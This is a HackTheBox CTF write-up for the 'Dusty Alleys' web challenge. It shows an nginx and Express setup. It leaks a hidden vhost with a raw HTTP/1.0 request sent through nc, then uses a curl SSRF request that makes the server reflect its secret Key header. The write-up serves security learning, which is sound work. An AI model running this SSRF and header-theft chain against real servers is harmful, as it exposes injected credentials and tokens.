Dusty Alleys
Dusty Alleys
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-19 | Status: Solved Techniques: http10_host_leak, nginx_vhost_discovery, server_name_fallback, ssrf_header_exfiltration
Summary
Task: Discover a hidden nginx vhost and exploit SSRF to exfiltrate the flag. Solution: Send an HTTP/1.0 request without Host header to /think, causing nginx to fall back to server_name as $host variable and leak the secret vhost domain, then use the /guardian SSRF endpoint to fetch /think with the flag injected in the Key header.
Dusty Alleys — HackTheBox
Description
"In the dark, dusty underground labyrinth, the survivors feel lost and their resolve weakens. Just as despair sets in, they notice a faint light: a dilapidated, rusty robot emitting feeble sparks. Hoping for answers, they decide to engage with it."
Target: http://154.57.164.81:32496
Architecture
Two-layer setup:
- nginx (port 80) — reverse proxy with two virtual host server blocks:
alley.$SECRET_ALLEY(default_server) — serves static files at/, proxies/alleyand/thinkto Node.jsguardian.$SECRET_ALLEY— proxies/guardianto Node.js
- Node.js Express (port 1337) — backend with three routes:
GET /alley— renders index pageGET /think— returns all received request headers as JSON (header reflection)GET /guardian— SSRF endpoint: takesquoteURL parameter, validates hostname ends with "localhost", fetches URL with FLAG inKeyheader
Key Source: routes/guardian.js
javascript read-only • copy allowedrouter.get("/guardian", async (req, res) => { const quote = req.query.quote; if (!quote) return res.render("guardian"); try { const location = new URL(quote); const direction = location.hostname; if (!direction.endsWith("localhost") && direction !== "localhost") return res.send("guardian", { error: "You are forbidden from talking with me." }); } catch (error) { return res.render("guardian", { error: "My brain circuits are mad." }); } try { let result = await node_fetch(quote, { method: "GET", headers: { Key: process.env.FLAG || "HTB{REDACTED}" }, }).then((res) => res.text()); res.set("Content-Type", "text/plain"); res.send(result); } catch (e) { return res.render("guardian", { error: "The words are lost in my circuits" }); } });
Key Source: nginx default.conf
nginx read-only • copy allowedserver { listen 80 default_server; server_name alley.$SECRET_ALLEY; location / { root /var/www/html/; index index.html; } location /alley { proxy_pass http://localhost:1337; proxy_set_header Host $host; ... } location /think { proxy_pass http://localhost:1337; proxy_set_header Host $host; ... } } server { listen 80; server_name guardian.$SECRET_ALLEY; location /guardian { proxy_pass http://localhost:1337; proxy_set_header Host $host; ... } }
Analysis
The Two Problems
-
Vhost Discovery: The
/guardianSSRF endpoint is only accessible through theguardian.$SECRET_ALLEYvirtual host, but$SECRET_ALLEYis unknown (set at Docker build time viaENV SECRET_ALLEY=REDACTEDand substituted withsed). -
Flag Exfiltration: Even with access to
/guardian, we need to make the SSRF send a request that leaks theKeyheader containing the flag back to us.
Failed Approaches
- Brute-forcing vhost name with ffuf + subdomain wordlists — the domain was too unusual
- HTTP request smuggling (CL.TE, TE.CL, obfuscated TE) — nginx rejected all malformed requests
- Path traversal through
/alleyproxy (/alley/../guardian, encoded variants) — nginx normalized all paths before proxying - HTTP pipelining — nginx routes each pipelined request independently using the same Host
- WebSocket upgrade — Express didn't support it
The Key Insight: nginx $host Variable
The nginx config uses proxy_set_header Host $host;. The nginx $host variable resolves in this priority order:
- Hostname from the request line (for absolute-form URIs like
GET http://example.com/path) - The
Hostheader value - The
server_nameof the matching server block (fallback when neither of the above is available)
HTTP/1.0 does not require a Host header. When nginx receives an HTTP/1.0 request without a Host header, it matches the default_server block and falls back to using its server_name as the $host value — which it then forwards to the backend via proxy_set_header.
The /think endpoint reflects all received headers, so it will echo back the Host header that nginx set — revealing the full server_name including $SECRET_ALLEY.
Solution
Step 1: Leak SECRET_ALLEY via HTTP/1.0 Without Host Header
Send a raw HTTP/1.0 request to /think with no Host header:
bash read-only • copy allowedprintf 'GET /think HTTP/1.0\r\n\r\n' | nc 154.57.164.81 32496
Response:
json read-only • copy allowed{"host":"alley.firstalleyontheleft.com","x-real-ip":"...","x-forwarded-for":"...","x-forwarded-proto":"http","connection":"close"}
Result: SECRET_ALLEY = firstalleyontheleft.com, so the guardian vhost is guardian.firstalleyontheleft.com.
Step 2: SSRF via /guardian to Exfiltrate the Flag
With the vhost discovered, access /guardian with the correct Host header and exploit the SSRF to make the server fetch its own /think endpoint (which reflects all headers, including the injected Key header with the flag):
bash read-only • copy allowedcurl -H "Host: guardian.firstalleyontheleft.com" \ "http://154.57.164.81:32496/guardian?quote=http://localhost:1337/think"
The attack chain:
- nginx matches the
guardian.firstalleyontheleft.comHost header to the second server block - The
/guardianroute receives the request withquote=http://localhost:1337/think - URL validation passes:
new URL("http://localhost:1337/think").hostnameis"localhost"which passesendsWith("localhost") node-fetchsendsGET http://localhost:1337/thinkwithheaders: { Key: FLAG }- The
/thinkendpoint reflects ALL received headers back as JSON — including the flag
Response:
json read-only • copy allowed{"key":"HTB{REDACTED}","accept":"*/*","user-agent":"node-fetch/1.0 (+https://github.com/bitinn/node-fetch)","accept-encoding":"gzip,deflate","connection":"close","host":"localhost:1337"}
Lessons Learned
- HTTP/1.0 is a powerful recon tool — it doesn't require a Host header, which can trigger fallback behavior in web servers that reveals configuration details (server names, internal hostnames)
- nginx
$hostfallback is a real vulnerability — when no Host header is present,$hostresolves to theserver_namedirective, potentially leaking secret vhost configurations - Header reflection + SSRF = full header exfiltration — if you can make the server fetch a URL you control (or an endpoint that echoes headers), you can steal any custom headers the server injects (API keys, flags, auth tokens)
endsWith()hostname validation is weak — it allows the exact string ("localhost") and any subdomain ending with it; always use strict equality or allowlists for hostname validation- Two-step attack chains — sometimes the real vulnerability is only accessible after solving a prerequisite problem (vhost discovery before SSRF exploitation)